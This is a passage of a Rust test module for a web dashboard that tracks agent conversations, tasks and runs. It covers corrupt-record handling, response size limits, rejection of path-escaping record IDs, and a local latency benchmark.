25410        let decorated = serde_json::to_value(decorated).unwrap().to_string();
25411        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
25412        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
25413        assert_eq!(
25414            ui.talks.get(&conversation.id).unwrap().turns[0].body,
25415            conversation.turns[0].body
25416        );
25417    }
25418
25419    #[tokio::test]
25420    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
25421        let home = tempfile::tempdir().unwrap();
25422        let ui = delta_test_ui(home.path());
25423        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25424        let mut run = RunState::new(
25425            PathBuf::from("/repo"),
25426            "main".into(),
25427            "01234567".into(),
25428            "Useful run".into(),
25429            Config::default(),
25430        );
25431        run.save_under(home.path()).unwrap();
25432        let mut task = Task::new(
25433            "Related".into(),
25434            "body".into(),
25435            PathBuf::from("/repo"),
25436            Source::Agent {
25437                run: talk_id.clone(),
25438                node: "chat".into(),
25439            },
25440        );
25441        task.runs = vec![run.id.clone()];
25442        ui.queue.put(&mut task).unwrap();
25443        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
25444        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
25445        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
25446        assert!(
25447            run_detail(State(ui.clone()), Path(run.id.clone()))
25448                .await
25449                .is_ok()
25450        );
25451        assert!(
25452            talk_sections(State(ui.clone()), Path(talk_id.clone()))
25453                .await
25454                .is_ok()
25455        );
25456        // Previously indexed corruption must not masquerade as no relationship.
25457        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25458        assert!(ui.find_task_for_run(&run.id).is_err());
25459        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
25460        ui.queue.put(&mut task).unwrap();
25461        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
25462    }
25463
25464    #[tokio::test]
25465    async fn conversation_sections_omit_large_task_instructions() {
25466        let home = tempfile::tempdir().unwrap();
25467        let ui = delta_test_ui(home.path());
25468        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25469        let mut task = Task::new(
25470            "filed task".into(),
25471            "large instruction ".repeat(65536),
25472            PathBuf::from("/repo"),
25473            Source::Agent {
25474                run: id.clone(),
25475                node: "chat".into(),
25476            },
25477        );
25478        ui.queue.put(&mut task).unwrap();
25479        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
25480        assert_eq!(sections["tasks"][0]["id"], task.id);
25481        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
25482        assert!(sections["tasks"][0].get("instruction").is_none());
25483        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
25484    }
25485
25486    #[test]
25487    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
25488        let home = tempfile::tempdir().unwrap();
25489        let talks = Talks::at(home.path().join("talks"));
25490        seed_talk_at(&talks, "20261019-000001-abcd", "open");
25491        seed_talk_at(&talks, "20261019-000002-abcd", "open");
25492        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
25493        assert!(resolve_talk(&talks, "../outside").is_err());
25494        assert!(resolve_talk(&talks, "abcd").is_err());
25495        assert_eq!(
25496            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
25497            "20261019-000001-abcd"
25498        );
25499    }
25500
25501    include!(concat!(
25502        env!("CARGO_MANIFEST_DIR"),
25503        "/tests/web_latency/baseline.rs"
25504    ));
25505
25506    include!(concat!(
25507        env!("CARGO_MANIFEST_DIR"),
25508        "/tests/web_latency/lists.rs"
25509    ));
25510
25511    #[tokio::test]
25512    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
25513    async fn web_history_latency_measurement() {
25514        use std::time::Instant;
25515        let home = tempfile::tempdir().unwrap();
25516        let ui = delta_test_ui(home.path());
25517        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25518        let mut template = ui.talks.get(&id).unwrap();
25519        template.turns = serde_json::from_value(serde_json::json!([{
25520            "who": "operator", "body": "Show the accumulated work and its current status.",
25521            "at": Timestamp::now().to_string(),
25522        }]))
25523        .unwrap();
25524        std::fs::write(
25525            ui.talks.path_of(&id),
25526            serde_json::to_vec(&template).unwrap(),
25527        )
25528        .unwrap();
25529        let count = std::env::var("MAGI_BENCH_RECORDS")
25530            .ok()
25531            .and_then(|s| s.parse::<usize>().ok())
25532            .unwrap_or(1000);
25533        for i in 0..count {
25534            template.id = format!("20261019-{i:06}-history");
25535            template.pending = "history ".repeat(2048);
25536            std::fs::write(
25537                ui.talks.path_of(&template.id),
25538                serde_json::to_vec(&template).unwrap(),
25539            )
25540            .unwrap();
25541            let mut task = Task::new(
25542                "old task".into(),
25543                "instruction ".repeat(2048),
25544                PathBuf::from("/repo"),
25545                Source::Human,
25546            );
25547            task.id = format!("20261019-{i:06}-task");
25548            ui.queue.put(&mut task).unwrap();
25549        }
25550        for baseline in [true, false] {
25551            for clients in [1, 4] {
25552                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25553                let mut samples = Vec::new();
25554                for _ in 0..12 {
25555                    let mut jobs = Vec::new();
25556                    for _ in 0..clients {
25557                        let ui = ui.clone();
25558                        let id = id.clone();
25559                        jobs.push(tokio::spawn(async move {
25560                            let start = Instant::now();
25561                            if baseline {
25562                                let response =
25563                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25564                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25565                                return (
25566                                    elapsed,
25567                                    elapsed,
25568                                    serde_json::to_vec(&response).unwrap().len(),
25569                                );
25570                            }
25571                            let core = talk_core(State(ui.clone()), Path(id.clone()));
25572                            let secondary = talk_sections(State(ui), Path(id));
25573                            let (first, total) = tokio::join!(
25574                                async {
25575                                    let value = core.await.unwrap().0;
25576                                    (
25577                                        start.elapsed().as_secs_f64() * 1000.0,
25578                                        serde_json::to_vec(&value).unwrap().len(),
25579                                    )
25580                                },
25581                                async {
25582                                    let value = secondary.await.unwrap().0;
25583                                    (
25584                                        start.elapsed().as_secs_f64() * 1000.0,
25585                                        serde_json::to_vec(&value).unwrap().len(),
25586                                    )
25587                                }
25588                            );
25589                            (first.0, first.0.max(total.0), first.1 + total.1)
25590                        }));
25591                    }
25592                    for job in jobs {
25593                        samples.push(job.await.unwrap());
25594                    }
25595                }
25596                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25597                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25598                first.sort_by(f64::total_cmp);
25599                total.sort_by(f64::total_cmp);
25600                let n = first.len();
25601                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25602                println!(
25603                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25604                    first[n / 2],
25605                    first[(n * 95 / 100).min(n - 1)],
25606                    total[n / 2],
25607                    total[(n * 95 / 100).min(n - 1)],
25608                    samples[0].2
25609                );
25610            }
25611        }
25612    }
25613
25614    #[test]
25615    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25616        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
25617        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25618        assert!(APP_JS.contains("function nextRunRequest(id)"));
25619        assert!(APP_JS.contains("function runShell(id, summary)"));
25620        assert!(APP_JS.contains("function nextTaskRequest(id)"));
25621        assert!(APP_JS.contains("function taskShell(id, summary)"));
25622        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25623    }
25624}